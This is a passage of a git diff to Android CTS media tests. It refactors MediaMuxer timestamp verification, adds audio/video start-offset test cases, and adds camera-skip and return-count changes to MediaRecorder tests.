+ muxer = new MediaMuxer(outputFilePath, MediaMuxer.OutputFormat.MUXER_OUTPUT_MPEG_4);
muxer.addTrack(MediaFormat.createVideoFormat(MediaFormat.MIMETYPE_VIDEO_AVC, 480, 320));
try {
@@ -184,7 +184,7 @@
}
// Should not throw exception when 2 video tracks were added.
- muxer = new MediaMuxer(outputFile, MediaMuxer.OutputFormat.MUXER_OUTPUT_MPEG_4);
+ muxer = new MediaMuxer(outputFilePath, MediaMuxer.OutputFormat.MUXER_OUTPUT_MPEG_4);
muxer.addTrack(MediaFormat.createVideoFormat(MediaFormat.MIMETYPE_VIDEO_AVC, 480, 320));
try {
@@ -196,7 +196,7 @@
}
// Should not throw exception when 2 audio tracks were added.
- muxer = new MediaMuxer(outputFile, MediaMuxer.OutputFormat.MUXER_OUTPUT_MPEG_4);
+ muxer = new MediaMuxer(outputFilePath, MediaMuxer.OutputFormat.MUXER_OUTPUT_MPEG_4);
muxer.addTrack(MediaFormat.createAudioFormat(MediaFormat.MIMETYPE_AUDIO_AAC, 48000, 1));
try {
muxer.addTrack(MediaFormat.createAudioFormat(MediaFormat.MIMETYPE_AUDIO_AAC, 48000, 1));
@@ -207,7 +207,7 @@
}
// Should not throw exception when 3 tracks were added.
- muxer = new MediaMuxer(outputFile, MediaMuxer.OutputFormat.MUXER_OUTPUT_MPEG_4);
+ muxer = new MediaMuxer(outputFilePath, MediaMuxer.OutputFormat.MUXER_OUTPUT_MPEG_4);
muxer.addTrack(MediaFormat.createVideoFormat(MediaFormat.MIMETYPE_VIDEO_AVC, 480, 320));
muxer.addTrack(MediaFormat.createAudioFormat(MediaFormat.MIMETYPE_AUDIO_AAC, 48000, 1));
try {
@@ -219,7 +219,7 @@
}
// Throws exception b/c no tracks was added.
- muxer = new MediaMuxer(outputFile, MediaMuxer.OutputFormat.MUXER_OUTPUT_MPEG_4);
+ muxer = new MediaMuxer(outputFilePath, MediaMuxer.OutputFormat.MUXER_OUTPUT_MPEG_4);
try {
muxer.start();
fail("should throw IllegalStateException.");
@@ -230,7 +230,7 @@
}
// Throws exception b/c a wrong format.
- muxer = new MediaMuxer(outputFile, MediaMuxer.OutputFormat.MUXER_OUTPUT_MPEG_4);
+ muxer = new MediaMuxer(outputFilePath, MediaMuxer.OutputFormat.MUXER_OUTPUT_MPEG_4);
try {
muxer.addTrack(MediaFormat.createVideoFormat("vidoe/mp4", 480, 320));
fail("should throw IllegalStateException.");
@@ -243,7 +243,7 @@
// Test FileDescriptor Constructor expect sucess.
RandomAccessFile file = null;
try {
- file = new RandomAccessFile(outputFile, "rws");
+ file = new RandomAccessFile(outputFilePath, "rws");
muxer = new MediaMuxer(file.getFD(), MediaMuxer.OutputFormat.MUXER_OUTPUT_MPEG_4);
muxer.addTrack(MediaFormat.createVideoFormat(MediaFormat.MIMETYPE_VIDEO_AVC, 480, 320));
} finally {
@@ -254,7 +254,7 @@
// Test FileDescriptor Constructor expect exception with read only mode.
RandomAccessFile file2 = null;
try {
- file2 = new RandomAccessFile(outputFile, "r");
+ file2 = new RandomAccessFile(outputFilePath, "r");
muxer = new MediaMuxer(file2.getFD(), MediaMuxer.OutputFormat.MUXER_OUTPUT_MPEG_4);
fail("should throw IOException.");
} catch (IOException e) {
@@ -267,7 +267,7 @@
// Test FileDescriptor Constructor expect NO exception with write only mode.
ParcelFileDescriptor out = null;
try {
- out = ParcelFileDescriptor.open(new File(outputFile),
+ out = ParcelFileDescriptor.open(new File(outputFilePath),
ParcelFileDescriptor.MODE_WRITE_ONLY | ParcelFileDescriptor.MODE_CREATE);
muxer = new MediaMuxer(out.getFileDescriptor(), MediaMuxer.OutputFormat.MUXER_OUTPUT_MPEG_4);
} catch (IllegalArgumentException e) {
@@ -279,7 +279,7 @@
muxer.release();
}
- new File(outputFile).delete();
+ new File(outputFilePath).delete();
}
/**
@@ -288,17 +288,17 @@
*/
public void testSimulateAudioBVideoFramesDropIssues() throws Exception {
int sourceId = R.raw.video_h264_main_b_frames;
- String outputFile = File.createTempFile(
+ String outputFilePath = File.createTempFile(
"MediaMuxerTest_testSimulateAudioBVideoFramesDropIssues", ".mp4").getAbsolutePath();
try {
- simulateVideoFramesDropIssuesAndMux(sourceId, outputFile, 2 /* track index */,
+ simulateVideoFramesDropIssuesAndMux(sourceId, outputFilePath, 2 /* track index */,
MediaMuxer.OutputFormat.MUXER_OUTPUT_MPEG_4);
- verifyAFewSamplesTimestamp(sourceId, outputFile);
- verifySamplesMatch(sourceId, outputFile, 66667 /* sample around 0 sec */, 0);
+ verifyAFewSamplesTimestamp(sourceId, outputFilePath);
+ verifySamplesMatch(sourceId, outputFilePath, 66667 /* sample around 0 sec */, 0);
verifySamplesMatch(
- sourceId, outputFile, 8033333 /* sample around 8 sec */, OFFSET_TIME_US);
+ sourceId, outputFilePath, 8033333 /* sample around 8 sec */, OFFSET_TIME_US);
} finally {
- new File(outputFile).delete();
+ new File(outputFilePath).delete();
}
}
@@ -314,7 +314,8 @@
// No start offsets for any track.
cloneMediaWithSamplesDropAndStartOffsets(sourceId, outputFilePath,
MediaMuxer.OutputFormat.MUXER_OUTPUT_MPEG_4, null, null);
- verifyTimestampsWithSamplesDropSet(sourceId, outputFilePath, null, null);
+ verifyTSWithSamplesDropAndStartOffset(
+ sourceId, true /* has B frames */, outputFilePath, null, null);
} finally {
new File(outputFilePath).delete();
}
@@ -335,7 +336,8 @@
// No start offsets for any track.
cloneMediaWithSamplesDropAndStartOffsets(sourceId, outputFilePath,
MediaMuxer.OutputFormat.MUXER_OUTPUT_MPEG_4, samplesDropSet, null);
- verifyTimestampsWithSamplesDropSet(sourceId, outputFilePath, samplesDropSet, null);
+ verifyTSWithSamplesDropAndStartOffset(
+ sourceId, true /* has B frames */, outputFilePath, samplesDropSet, null);
} finally {
new File(outputFilePath).delete();
}
@@ -358,7 +360,8 @@
// No start offsets for any track.
cloneMediaWithSamplesDropAndStartOffsets(sourceId, outputFilePath,
MediaMuxer.OutputFormat.MUXER_OUTPUT_MPEG_4, samplesDropSet, null);
- verifyTimestampsWithSamplesDropSet(sourceId, outputFilePath, samplesDropSet, null);
+ verifyTSWithSamplesDropAndStartOffset(
+ sourceId, true /* has B frames */, outputFilePath, samplesDropSet, null);
} finally {
new File(outputFilePath).delete();
}
@@ -379,7 +382,8 @@
// No start offsets for any track.
cloneMediaWithSamplesDropAndStartOffsets(sourceId, outputFilePath,
MediaMuxer.OutputFormat.MUXER_OUTPUT_MPEG_4, samplesDropSet, null);
- verifyTimestampsWithSamplesDropSet(sourceId, outputFilePath, samplesDropSet, null);
+ verifyTSWithSamplesDropAndStartOffset(
+ sourceId, true /* has B frames */, outputFilePath, samplesDropSet, null);
} finally {
new File(outputFilePath).delete();
}
@@ -402,7 +406,8 @@
// No start offsets for any track.
cloneMediaWithSamplesDropAndStartOffsets(sourceId, outputFilePath,
MediaMuxer.OutputFormat.MUXER_OUTPUT_MPEG_4, samplesDropSet, null);
- verifyTimestampsWithSamplesDropSet(sourceId, outputFilePath, samplesDropSet, null);
+ verifyTSWithSamplesDropAndStartOffset(
+ sourceId, true /* has B frames */, outputFilePath, samplesDropSet, null);
} finally {
new File(outputFilePath).delete();
}
@@ -413,21 +418,51 @@
* when video frames start later than audio.
*/
public void testTimestampsAudioBVideoStartOffsetVideo() throws Exception {
- int sourceId = R.raw.video_h264_main_b_frames;
- String outputFilePath = File.createTempFile(
- "MediaMuxerTest_testTimestampsAudioBVideoStartOffsetVideo", ".mp4").getAbsolutePath();
- try {
- Vector<Integer> startOffsetUsVect = new Vector<Integer>();
- // Video starts at 400000us.
- startOffsetUsVect.add(400000);
- // Audio starts at 0us.
- startOffsetUsVect.add(0);
- cloneMediaWithSamplesDropAndStartOffsets(sourceId, outputFilePath,
- MediaMuxer.OutputFormat.MUXER_OUTPUT_MPEG_4, null, startOffsetUsVect);
- verifyTimestampsWithSamplesDropSet(sourceId, outputFilePath, null, startOffsetUsVect);
- } finally {
- new File(outputFilePath).delete();
- }
+ Vector<Integer> startOffsetUsVect = new Vector<Integer>();
+ // Video starts at 400000us.
+ startOffsetUsVect.add(400000);
+ // Audio starts at 0us.
+ startOffsetUsVect.add(0);
+ checkTimestampsAudioBVideoDiffStartOffsets(startOffsetUsVect);
+ }
+
+ /**
+ * Test: makes sure if audio/video muxing using MPEG4Writer works with B Frames
+ * when video and audio samples start after zero, video later than audio.
+ */
+ public void testTimestampsAudioBVideoStartOffsetVideoAudio() throws Exception {
+ Vector<Integer> startOffsetUsVect = new Vector<Integer>();
+ // Video starts at 400000us.
+ startOffsetUsVect.add(400000);
+ // Audio starts at 200000us.
+ startOffsetUsVect.add(200000);
+ checkTimestampsAudioBVideoDiffStartOffsets(startOffsetUsVect);
+ }
+
+ /**
+ * Test: makes sure if audio/video muxing using MPEG4Writer works with B Frames
+ * when video and audio samples start after zero, audio later than video.
+ */
+ public void testTimestampsAudioBVideoStartOffsetAudioVideo() throws Exception {
+ Vector<Integer> startOffsetUsVect = new Vector<Integer>();
+ // Video starts at 200000us.
+ startOffsetUsVect.add(200000);
+ // Audio starts at 400000us.
+ startOffsetUsVect.add(400000);
+ checkTimestampsAudioBVideoDiffStartOffsets(startOffsetUsVect);
+ }
+
+ /**
+ * Test: makes sure if audio/video muxing using MPEG4Writer works with B Frames
+ * when video starts after zero and audio starts before zero.
+ */
+ public void testTimestampsAudioBVideoStartOffsetNegativeAudioVideo() throws Exception {
+ Vector<Integer> startOffsetUsVect = new Vector<Integer>();
+ // Video starts at 200000us.
+ startOffsetUsVect.add(200000);
+ // Audio starts at -23220us, multiple of duration of one frame (1024/44100hz)
+ startOffsetUsVect.add(-23220);
+ checkTimestampsAudioBVideoDiffStartOffsets(startOffsetUsVect);
}
/**
@@ -435,18 +470,160 @@
* samples start later than video.
*/
public void testTimestampsAudioBVideoStartOffsetAudio() throws Exception {
+ Vector<Integer> startOffsetUsVect = new Vector<Integer>();
+ // Video starts at 0us.
+ startOffsetUsVect.add(0);
+ // Audio starts at 400000us.
+ startOffsetUsVect.add(400000);
+ checkTimestampsAudioBVideoDiffStartOffsets(startOffsetUsVect);
+ }
+
+ /**
+ * Test: make sure if audio/video muxing works good with different start offsets for
+ * audio and video, audio later than video at 0us.
+ */
+ public void testTimestampsStartOffsetAudio() throws Exception {
+ Vector<Integer> startOffsetUsVect = new Vector<Integer>();
+ // Video starts at 0us.
+ startOffsetUsVect.add(0);
+ // Audio starts at 500000us.
+ startOffsetUsVect.add(500000);
+ checkTimestampsWithStartOffsets(startOffsetUsVect);
+ }
+
+ /**
+ * Test: make sure if audio/video muxing works good with different start offsets for
+ * audio and video, video later than audio at 0us.
+ */
+ public void testTimestampsStartOffsetVideo() throws Exception {
+ Vector<Integer> startOffsetUsVect = new Vector<Integer>();
+ // Video starts at 500000us.
+ startOffsetUsVect.add(500000);
+ // Audio starts at 0us.
+ startOffsetUsVect.add(0);
+ checkTimestampsWithStartOffsets(startOffsetUsVect);
+ }
+
+ /**
+ * Test: make sure if audio/video muxing works good with different start offsets for
+ * audio and video, audio later than video, positive offsets for both.
+ */
+ public void testTimestampsStartOffsetVideoAudio() throws Exception {
+ Vector<Integer> startOffsetUsVect = new Vector<Integer>();
+ // Video starts at 250000us.
+ startOffsetUsVect.add(250000);
+ // Audio starts at 500000us.
+ startOffsetUsVect.add(500000);
+ checkTimestampsWithStartOffsets(startOffsetUsVect);
+ }
+
+ /**
+ * Test: make sure if audio/video muxing works good with different start offsets for
+ * audio and video, video later than audio, positive offets for both.
+ */
+ public void testTimestampsStartOffsetAudioVideo() throws Exception {
+ Vector<Integer> startOffsetUsVect = new Vector<Integer>();
+ // Video starts at 500000us.
+ startOffsetUsVect.add(500000);
+ // Audio starts at 250000us.
+ startOffsetUsVect.add(250000);
+ checkTimestampsWithStartOffsets(startOffsetUsVect);
+ }
+
+ /**
+ * Test: make sure if audio/video muxing works good with different start offsets for
+ * audio and video, video later than audio, audio before zero.
+ */
+ public void testTimestampsStartOffsetNegativeAudioVideo() throws Exception {
+ Vector<Integer> startOffsetUsVect = new Vector<Integer>();
+ // Video starts at 50000us.
+ startOffsetUsVect.add(50000);
+ // Audio starts at -23220us, multiple of duration of one frame (1024/44100hz)
+ startOffsetUsVect.add(-23220);
+ checkTimestampsWithStartOffsets(startOffsetUsVect);
+ }
+
+ /**
+ * Test: makes sure if audio/video muxing using MPEG4Writer works with B Frames
+ * when video and audio samples start after different times.
+ */
+ private void checkTimestampsAudioBVideoDiffStartOffsets(Vector<Integer> startOffsetUs)
+ throws Exception {
+ MPEG4CheckTimestampsAudioBVideoDiffStartOffsets(startOffsetUs);
+ // TODO: uncomment webm testing once bugs related to timestamps in webmwriter are fixed.
+ // WebMCheckTimestampsAudioBVideoDiffStartOffsets(startOffsetUsVect);
+ }
+
+ private void MPEG4CheckTimestampsAudioBVideoDiffStartOffsets(Vector<Integer> startOffsetUs)
+ throws Exception {
+ if (VERBOSE) {
+ Log.v(TAG, "MPEG4CheckTimestampsAudioBVideoDiffStartOffsets");
+ }
int sourceId = R.raw.video_h264_main_b_frames;
String outputFilePath = File.createTempFile(
- "MediaMuxerTest_testTimestampsAudioBVideoStartOffsetAudio", ".mp4").getAbsolutePath();
+ "MediaMuxerTest_testTimestampsAudioBVideoDiffStartOffsets", ".mp4").getAbsolutePath();
try {
- Vector<Integer> startOffsetUsVect = new Vector<Integer>();
- // Video starts at 0us.
- startOffsetUsVect.add(0);
- // Audio starts at 400000us.
- startOffsetUsVect.add(400000);
cloneMediaWithSamplesDropAndStartOffsets(sourceId, outputFilePath,
- MediaMuxer.OutputFormat.MUXER_OUTPUT_MPEG_4, null, startOffsetUsVect);
- verifyTimestampsWithSamplesDropSet(sourceId, outputFilePath, null, startOffsetUsVect);
+ MediaMuxer.OutputFormat.MUXER_OUTPUT_MPEG_4, null, startOffsetUs);
+ verifyTSWithSamplesDropAndStartOffset(
+ sourceId, true /* has B frames */, outputFilePath, null, startOffsetUs);
+ } finally {
+ new File(outputFilePath).delete();
+ }
+ }
+
+ /*
+ * Check if timestamps are written consistently across all formats supported by MediaMuxer.
+ */
+ private void checkTimestampsWithStartOffsets(Vector<Integer> startOffsetUsVect)
+ throws Exception {
+ MPEG4CheckTimestampsWithStartOffsets(startOffsetUsVect);
+ // TODO: uncomment webm testing once bugs related to timestamps in webmwriter are fixed.
+ // WebMCheckTimestampsWithStartOffsets(startOffsetUsVect);
+ // TODO: need to add other formats, OGG, AAC, AMR
+ }
+
+ /**
+ * Make sure if audio/video muxing using MPEG4Writer works good with different start
+ * offsets for audio and video.
+ */
+ private void MPEG4CheckTimestampsWithStartOffsets(Vector<Integer> startOffsetUsVect)
+ throws Exception {
+ if (VERBOSE) {
+ Log.v(TAG, "MPEG4CheckTimestampsWithStartOffsets");
+ }
+ int sourceId = R.raw.video_480x360_mp4_h264_500kbps_30fps_aac_stereo_128kbps_44100hz;
+ String outputFilePath =
+ File.createTempFile("MediaMuxerTest_MPEG4CheckTimestampsWithStartOffsets", ".mp4")
+ .getAbsolutePath();
+ try {
+ cloneMediaWithSamplesDropAndStartOffsets(sourceId, outputFilePath,
+ MediaMuxer.OutputFormat.MUXER_OUTPUT_MPEG_4, null, startOffsetUsVect);
+ verifyTSWithSamplesDropAndStartOffset(
+ sourceId, false /* no B frames */, outputFilePath, null, startOffsetUsVect);
+ } finally {
+ new File(outputFilePath).delete();
+ }
+ }
+
+ /**
+ * Make sure if audio/video muxing using WebMWriter works good with different start
+ * offsets for audio and video.
+ */
+ private void WebMCheckTimestampsWithStartOffsets(Vector<Integer> startOffsetUsVect)
+ throws Exception {
+ if (VERBOSE) {
+ Log.v(TAG, "WebMCheckTimestampsWithStartOffsets");
+ }
+ int sourceId = R.raw.video_480x360_webm_vp9_333kbps_25fps_vorbis_stereo_128kbps_48000hz;
+ String outputFilePath =
+ File.createTempFile("MediaMuxerTest_WebMCheckTimestampsWithStartOffsets", ".webm")
+ .getAbsolutePath();
+ try {
+ cloneMediaWithSamplesDropAndStartOffsets(sourceId, outputFilePath,
+ MediaMuxer.OutputFormat.MUXER_OUTPUT_WEBM, null, startOffsetUsVect);
+ verifyTSWithSamplesDropAndStartOffset(
+ sourceId, false /* no B frames */, outputFilePath, null, startOffsetUsVect);
} finally {
new File(outputFilePath).delete();
}
@@ -467,7 +644,8 @@
verifyLocationInFile(outputMediaFile);
}
// Verify timestamp of all samples.
- verifyTimestampsWithSamplesDropSet(srcMedia, outputMediaFile, null, null);
+ verifyTSWithSamplesDropAndStartOffset(
+ srcMedia, false /* no B frames */,outputMediaFile, null, null);
} finally {
new File(outputMediaFile).delete();
}
@@ -609,6 +787,7 @@
assertEquals("Different width", widthSrc,
widthTest);
+ //TODO: need to check each individual track's duration also.
String durationSrc = retrieverSrc.extractMetadata(
MediaMetadataRetriever.METADATA_KEY_DURATION);
String durationTest = retrieverTest.extractMetadata(
@@ -781,7 +960,7 @@
if (trackIndex == 0) {
++videoSampleCount;
if (VERBOSE) {
- Log.i(TAG, "videoSampleCount : " + videoSampleCount);
+ Log.v(TAG, "videoSampleCount : " + videoSampleCount);
}
if (videoSampleCount <= muxAllTypeVideoFramesUntilIndex
|| videoSampleCount == bFrameAfterPFrameIndex) {
@@ -823,7 +1002,8 @@
return;
}
- /* Uses two MediaExtractor's and checks whether timestamps of first few and another few
+ /**
+ * Uses two MediaExtractor's and checks whether timestamps of first few and another few
* from last sync frame matches
*/
private void verifyAFewSamplesTimestamp(int srcMediaId, String testMediaPath)
@@ -871,7 +1051,7 @@
while (numFrames-- > 0 ) {
srcSampleTimeUs = extractorSrc.getSampleTime();
testSampleTimeUs = extractorTest.getSampleTime();
- if(srcSampleTimeUs == -1 || testSampleTimeUs == -1){
+ if (srcSampleTimeUs == -1 || testSampleTimeUs == -1) {
fail("either of tracks reached end of stream");
}
if ((srcSampleTimeUs + offsetTimeUs) != testSampleTimeUs) {
@@ -959,10 +1139,15 @@
bufferInfo.presentationTimeUs = extractor.getSampleTime();
bufferInfo.flags = extractor.getSampleFlags();
int trackIndex = extractor.getSampleTrackIndex();
+ if (VERBOSE) {
+ Log.v(TAG, "TrackIndex:" + trackIndex + " PresentationTimeUs:" +
+ bufferInfo.presentationTimeUs + " Flags:" + bufferInfo.flags +
+ " Size(bytes)" + bufferInfo.size);
+ }
if (trackIndex == videoTrackIndex) {
++videoSampleCount;
if (VERBOSE) {
- Log.i(TAG, "videoSampleCount : " + videoSampleCount);
+ Log.v(TAG, "videoSampleCount : " + videoSampleCount);
}
if (samplesDropSet == null || (!samplesDropSet.contains(videoSampleCount))) {
// Write video frame with start offset adjustment.
@@ -971,7 +1156,7 @@
}
else {
if (VERBOSE) {
- Log.i(TAG, "skipped this frame");
+ Log.v(TAG, "skipped this frame");
}
}
} else {
@@ -1003,8 +1188,9 @@
* Uses MediaExtractors and checks whether timestamps of all samples except in samplesDropSet
* and with start offsets adjustments for each track match.
*/
- private void verifyTimestampsWithSamplesDropSet(int srcMediaId, String testMediaPath,
- HashSet<Integer> samplesDropSet, Vector<Integer> startOffsetUsVect) throws IOException {
+ private void verifyTSWithSamplesDropAndStartOffset(int srcMediaId, boolean hasBframes,
+ String testMediaPath, HashSet<Integer> samplesDropSet,
+ Vector<Integer> startOffsetUsVect) throws IOException {
AssetFileDescriptor srcFd = mResources.openRawResourceFd(srcMediaId);
MediaExtractor extractorSrc = new MediaExtractor();
extractorSrc.setDataSource(srcFd.getFileDescriptor(),
@@ -1014,8 +1200,31 @@
int videoTrackIndex = -1;
int videoStartOffsetUs = 0;
+ int minStartOffsetUs = Integer.MAX_VALUE;
int trackCount = extractorSrc.getTrackCount();
+ /*
+ * When all track's start offsets are positive, MPEG4Writer makes the start timestamp of the
+ * earliest track as zero and adjusts all other tracks' timestamp accordingly.
+ */
+ // TODO: need to confirm if the above logic holds good with all others writers we support.
+ if (startOffsetUsVect != null) {
+ for (int startOffsetUs : startOffsetUsVect) {
+ minStartOffsetUs = Math.min(startOffsetUs, minStartOffsetUs);
+ }
+ } else {
+ minStartOffsetUs = 0;
+ }
+
+ if (minStartOffsetUs < 0) {
+ /*
+ * Atleast one of the start offsets were negative. We have some test cases with negative
+ * offsets for audio, minStartOffset has to be reset as Writer won't adjust any of the
+ * track's timestamps.
+ */
+ minStartOffsetUs = 0;
+ }
+
// Select video track.
for (int i = 0; i < trackCount; i++) {
MediaFormat format = extractorSrc.getTrackFormat(i);
@@ -1026,8 +1235,8 @@
}
extractorSrc.selectTrack(videoTrackIndex);
extractorTest.selectTrack(videoTrackIndex);
- checkVideoSamplesTimeStamps(extractorSrc, extractorTest, samplesDropSet,
- videoStartOffsetUs);
+ checkVideoSamplesTimeStamps(extractorSrc, hasBframes, extractorTest, samplesDropSet,
+ videoStartOffsetUs - minStartOffsetUs);
extractorSrc.unselectTrack(videoTrackIndex);
extractorTest.unselectTrack(videoTrackIndex);
}
@@ -1046,7 +1255,8 @@
}
extractorSrc.selectTrack(audioTrackIndex);
extractorTest.selectTrack(audioTrackIndex);
- checkAudioSamplesTimestamps(extractorSrc, extractorTest, audioStartOffsetUs);
+ checkAudioSamplesTimestamps(
+ extractorSrc, extractorTest, audioStartOffsetUs - minStartOffsetUs);
}
}
@@ -1056,9 +1266,8 @@
}
// Check timestamps of all video samples.
- private void checkVideoSamplesTimeStamps(MediaExtractor extractorSrc,
- MediaExtractor extractorTest, HashSet<Integer> samplesDropSet,
- int videoStartOffsetUs) {
+ private void checkVideoSamplesTimeStamps(MediaExtractor extractorSrc, boolean hasBFrames,
+ MediaExtractor extractorTest, HashSet<Integer> samplesDropSet, int videoStartOffsetUs) {
long srcSampleTimeUs = -1;
long testSampleTimeUs = -1;
boolean srcAdvance = false;
@@ -1068,43 +1277,47 @@
extractorSrc.seekTo(0, MediaExtractor.SEEK_TO_CLOSEST_SYNC);
extractorTest.seekTo(0, MediaExtractor.SEEK_TO_CLOSEST_SYNC);
+ if (VERBOSE) {
+ Log.v(TAG, "srcTrackIndex:" + extractorSrc.getSampleTrackIndex() +
+ " testTrackIndex:" + extractorTest.getSampleTrackIndex());
+ Log.v(TAG, "videoStartOffsetUs:" + videoStartOffsetUs);
+ }
+
do {
++videoSampleCount;
srcSampleTimeUs = extractorSrc.getSampleTime();
testSampleTimeUs = extractorTest.getSampleTime();
if (VERBOSE) {
- Log.i(TAG, "videoSampleCount:" + videoSampleCount);
- Log.i(TAG, "srcTrackIndex:" + extractorSrc.getSampleTrackIndex() +
- " testTrackIndex:" + extractorTest.getSampleTrackIndex());
+ Log.v(TAG, "videoSampleCount:" + videoSampleCount);
Log.i(TAG, "srcTSus:" + srcSampleTimeUs + " testTSus:" + testSampleTimeUs);
}
if (samplesDropSet == null || !samplesDropSet.contains(videoSampleCount)) {
if (srcSampleTimeUs == -1 || testSampleTimeUs == -1) {
- if (VERBOSE) {
- Log.d(TAG, "videoSampleCount:" + videoSampleCount);
- Log.d(TAG, "srcUs:" + srcSampleTimeUs + "testUs:" + testSampleTimeUs);
- }
- fail("either source or test track reached end of stream");
+ if (VERBOSE) {
+ Log.v(TAG, "srcUs:" + srcSampleTimeUs + "testUs:" + testSampleTimeUs);
+ }
+ fail("either source or test track reached end of stream");
}
- // Stts values within 0.1ms(100us) difference are fudged to save too many
- // stts entries in MPEG4Writer.
+ /* Stts values within 0.1ms(100us) difference are fudged to save too many
+ * stts entries in MPEG4Writer.
+ */
else if (Math.abs(srcSampleTimeUs + videoStartOffsetUs - testSampleTimeUs) > 100) {
if (VERBOSE) {
- Log.d(TAG, "Fail:video timestamps didn't match");
- Log.d(TAG, "srcTrackIndex:" + extractorSrc.getSampleTrackIndex() +
- " testTrackIndex:" + extractorTest.getSampleTrackIndex());
- Log.d(TAG, "srcTSus:" + srcSampleTimeUs + " testTSus:" + testSampleTimeUs);
- Log.d(TAG, "videoSampleCount:" + videoSampleCount);
- }
+ Log.v(TAG, "Fail:video timestamps didn't match");
+ Log.v(TAG,
+ "srcTrackIndex:" + extractorSrc.getSampleTrackIndex()
+ + " testTrackIndex:" + extractorTest.getSampleTrackIndex());
+ Log.v(TAG, "srcTSus:" + srcSampleTimeUs + " testTSus:" + testSampleTimeUs);
+ }
fail("video timestamps didn't match");
}
testAdvance = extractorTest.advance();
}
srcAdvance = extractorSrc.advance();
- } while(srcAdvance && testAdvance);
+ } while (srcAdvance && testAdvance);
if (srcAdvance != testAdvance) {
if (VERBOSE) {
- Log.d(TAG, "videoSampleCount:" + videoSampleCount);
+ Log.v(TAG, "videoSampleCount:" + videoSampleCount);
}
fail("either video track has not reached its last sample");
}
@@ -1119,40 +1332,41 @@
int audioSampleCount = 0;
extractorSrc.seekTo(0, MediaExtractor.SEEK_TO_CLOSEST_SYNC);
- extractorTest.seekTo(0, MediaExtractor.SEEK_TO_CLOSEST_SYNC);
-
+ if (audioStartOffsetUs >= 0) {
+ // Added edit list support for maintaining only the diff in start offsets of tracks.
+ // TODO: Remove this once we add support for preserving absolute timestamps as well.
+ extractorTest.seekTo(0, MediaExtractor.SEEK_TO_CLOSEST_SYNC);
+ } else {
+ extractorTest.seekTo(audioStartOffsetUs, MediaExtractor.SEEK_TO_CLOSEST_SYNC);
+ }
+ if (VERBOSE) {
+ Log.v(TAG, "audioStartOffsetUs:" + audioStartOffsetUs);
+ Log.v(TAG, "srcTrackIndex:" + extractorSrc.getSampleTrackIndex() +
+ " testTrackIndex:" + extractorTest.getSampleTrackIndex());
+ }
// Check timestamps of all audio samples.
do {
++audioSampleCount;
srcSampleTimeUs = extractorSrc.getSampleTime();
testSampleTimeUs = extractorTest.getSampleTime();
- if(VERBOSE) {
- Log.d(TAG, "audioSampleCount:" + audioSampleCount);
- Log.v(TAG, "srcTrackIndex:" + extractorSrc.getSampleTrackIndex() +
- " testTrackIndex:" + extractorTest.getSampleTrackIndex());
+ if (VERBOSE) {
+ Log.v(TAG, "audioSampleCount:" + audioSampleCount);
Log.v(TAG, "srcTSus:" + srcSampleTimeUs + " testTSus:" + testSampleTimeUs);
}
if (srcSampleTimeUs == -1 || testSampleTimeUs == -1) {
- if (VERBOSE) {
- Log.d(TAG, "audioSampleCount:" + audioSampleCount);
- Log.d(TAG, "srcTSus:" + srcSampleTimeUs + " testTSus:" + testSampleTimeUs);
- }
- fail("either source or test track reached end of stream");
- }
- // First audio sample would have zero timestamp and its start offset is implemented
- // by assigning the first audio sample's duration as the offset. Second sample onwards
- // would play after the offset. But video offset is achieved by edit list entry for
- // video tracks with BFrames. Need to revert the conditional check for first
- // audio sample once we implement empty edit list entry for audio.
- else if ((audioSampleCount > 1 &&
- (srcSampleTimeUs + audioStartOffsetUs) != testSampleTimeUs) ||
- (audioSampleCount == 1 && srcSampleTimeUs != testSampleTimeUs)) {
- fail("audio timestamps didn't match");
+ if (VERBOSE) {
+ Log.v(TAG, "srcTSus:" + srcSampleTimeUs + " testTSus:" + testSampleTimeUs);
}
+ fail("either source or test track reached end of stream");
+ }
+ // > 1us to ignore any round off errors.
+ else if (Math.abs(srcSampleTimeUs + audioStartOffsetUs - testSampleTimeUs) > 1) {
+ fail("audio timestamps didn't match");
+ }
testAdvance = extractorTest.advance();
srcAdvance = extractorSrc.advance();
- } while(srcAdvance && testAdvance);
+ } while (srcAdvance && testAdvance);
if (srcAdvance != testAdvance) {
fail("either audio track has not reached its last sample");
}
diff --git a/tests/tests/media/src/android/media/cts/MediaRecorderTest.java b/tests/tests/media/src/android/media/cts/MediaRecorderTest.java
index be33988..e2d4421 100644
--- a/tests/tests/media/src/android/media/cts/MediaRecorderTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaRecorderTest.java
@@ -37,6 +37,7 @@
import android.media.MediaRecorder;
import android.media.MediaRecorder.OnErrorListener;
import android.media.MediaRecorder.OnInfoListener;
+import android.media.MicrophoneDirection;
import android.media.MicrophoneInfo;
import android.media.cts.AudioRecordingConfigurationTest.MyAudioRecordingCallback;
import android.opengl.GLES20;
@@ -231,6 +232,7 @@
int height;
Camera camera = null;
if (!hasCamera()) {
+ MediaUtils.skipTest("no camera");
return;
}
// Try to get camera profile for QUALITY_LOW; if unavailable,
@@ -543,6 +545,7 @@
public void testRecorderVideo() throws Exception {
if (!hasCamera()) {
+ MediaUtils.skipTest("no camera");
return;
}
mCamera = Camera.open(0);
@@ -567,6 +570,7 @@
public void testSetOutputFile() throws Exception {
if (!hasCamera()) {
+ MediaUtils.skipTest("no camera");
return;
}
mMediaRecorder.setVideoSource(MediaRecorder.VideoSource.CAMERA);
@@ -850,22 +854,22 @@
return startTimeOffset + frameIndex * 1000000 / frameRate;
}
- private void testLevel(String mediaType, int width, int height, int framerate,
- int bitrate, int profile, int requestedLevel, int... expectedLevels) throws Exception {
+ private int testLevel(String mediaType, int width, int height, int framerate, int bitrate,
+ int profile, int requestedLevel, int... expectedLevels) throws Exception {
CodecCapabilities cap = getCapsForPreferredCodecForMediaType(mediaType);
if (cap == null) { // not supported
- return;
+ return 0;
}
MediaCodecInfo.VideoCapabilities vCap = cap.getVideoCapabilities();
if (!vCap.areSizeAndRateSupported(width, height, framerate)
|| !vCap.getBitrateRange().contains(bitrate * 1000)) {
Log.i(TAG, "Skip the test");
- return;
+ return 0;
}
Surface surface = MediaCodec.createPersistentInputSurface();
if (surface == null) {
- return;
+ return 0;
}
InputSurface encSurface = new InputSurface(surface);
mMediaRecorder.setVideoSource(MediaRecorder.VideoSource.SURFACE);
@@ -950,9 +954,11 @@
encSurface.release();
encSurface = null;
}
+ return 1;
}
public void testProfileAvcBaselineLevel1() throws Exception {
+ int testsRun = 0;
int profile = AVCProfileBaseline;
if (!hasH264()) {
@@ -961,16 +967,18 @@
}
/* W H fps kbps profile request level expected levels */
